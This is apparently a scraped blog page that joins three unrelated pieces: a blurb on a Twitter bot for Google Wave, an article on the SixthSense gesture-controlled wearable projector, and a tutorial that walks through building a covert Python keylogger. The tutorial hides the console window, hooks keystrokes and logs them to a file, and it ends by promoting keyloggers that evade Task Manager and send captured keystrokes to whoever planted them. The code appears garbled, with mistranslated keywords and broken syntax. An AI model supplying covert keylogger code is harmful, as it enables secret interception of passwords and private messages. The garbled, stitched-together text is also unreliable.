TweetWave is wave bot which integrates with twitter API's to get latest tweets.You can Update your status and reply to any user. Unlike Tweety the twitbot all the tweets are sorted. It uses Twitter4J library to get Twitter Functionality.
Retrieving information from the Web when you're on the go can be a challenge. To make it easier, graduate student Pranav Mistry has developed SixthSense, a device that is worn like a pendant and super imposes digital information on the physical world. Unlike previous "augmented reality" systems, Mistry's consists of in expensive, off-the-shelf hardware. Two cables connect an LED projector and webcam to a Web-enabled mobile phone, but the system can easily be made wireless, says Mistry.
Users control SixthSense with simple hand gestures; putting your fingers and thumbs together to create a picture frame tells the camera to snap a photo, while drawing an @ symbol in the air allows you to check your e-mail. It is also designed to automatically recognize objects and retrieve relevant information: hold up a book, for instance, and the device projects reader ratings from sites like Amazon.com onto its cover. With text-to-speech software and a Bluetooth headset, it can "whisper" the information to you instead.
Remarkably, Mistry developed SixthSense in less than five months, and it costs under $350 to build (not including the phone). Users must currently wear colored "marker s" on their fingers so that the system can track their hand gestures, but he is designing algorithms that will enable the phone to recognize them directly. --Brittany Sauser
1. Camera: A webcam captures an object in view and tracks the user's hand gestures. It sends the data to the smart phone.
2. Colored Markers: Marking the user's fingers with red, yellow, green, and blue tape helps the webcam recognize gestures. Mistry is working on gesture-recognition algorithms that could eliminate the need for the markers.
3. Projector: A tiny LED projector displays data sent from the smart phone on any surface in view--object, wall, or person. Mistry hopes to start using laser projectors to increase the brightness.
4. Smart Phone: A Web-enabled smart phone in the user's pocket processes the video data, using vision algorithms to identify the object. Other software searches the Web and interprets the hand gestures.
As we all surely know, a keylogger is a program that can intercept everything the user types on the keyboard of your computer. And I suppose you know so well, precisely for this characteristic, the keylogger is software that does not always lend itself to use proper legal, so much so that now almost all have antivirus features to recognize the presence of a keylogger active in the background.
So the installation of a keylogger on a computer without the knowledge of the rightful owner, is configured as a real crime of violation of privacy: the intercepted data (chat sessions, usernames and passwords, email, ...) in fact are usually saved to a log file that the owner of the keylogger retrieve it later or even the are automatically sent via email.
Educational purposes only, we will see how we can create a simple keylogger fully functional, using the Python. Here are the steps to follow:
From the Start menu, select "Python 2.6> PythonWin" to start the editor
From the menu select "File> New", then choose the "Python Script" and give "OK"
Paste the following source (attention to indentation)
import WIN32API import win32console import win32gui import pythoncom, pyHook win32console.GetConsoleWindow win = () win32gui.ShowWindow (win, 0) final OnKeyboardEvent (event): if event.Ascii == 5: _exit (1) if event.Ascii! = 0 or 8: f = open ( 'c: \ output.txt', 'r') buffer = f.read () f.close () f = open ( 'c: \ output.txt', 'w') keylogs = chr (event.Ascii) if event.Ascii == 13: keylogs = '/ n' buffer + = keylogs f.write (buffer) f.close () hm = pyHook.HookManager () hm.KeyDown = OnKeyboardEvent hm.HookKeyboard () pythoncom.PumpMessages ()
Save the file in c: \ as "logger.py," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.
Here is a list of some other free and good Keyloggers that work in background and without getting noticed even in the Task Manager, sends you the list of typed strokes.
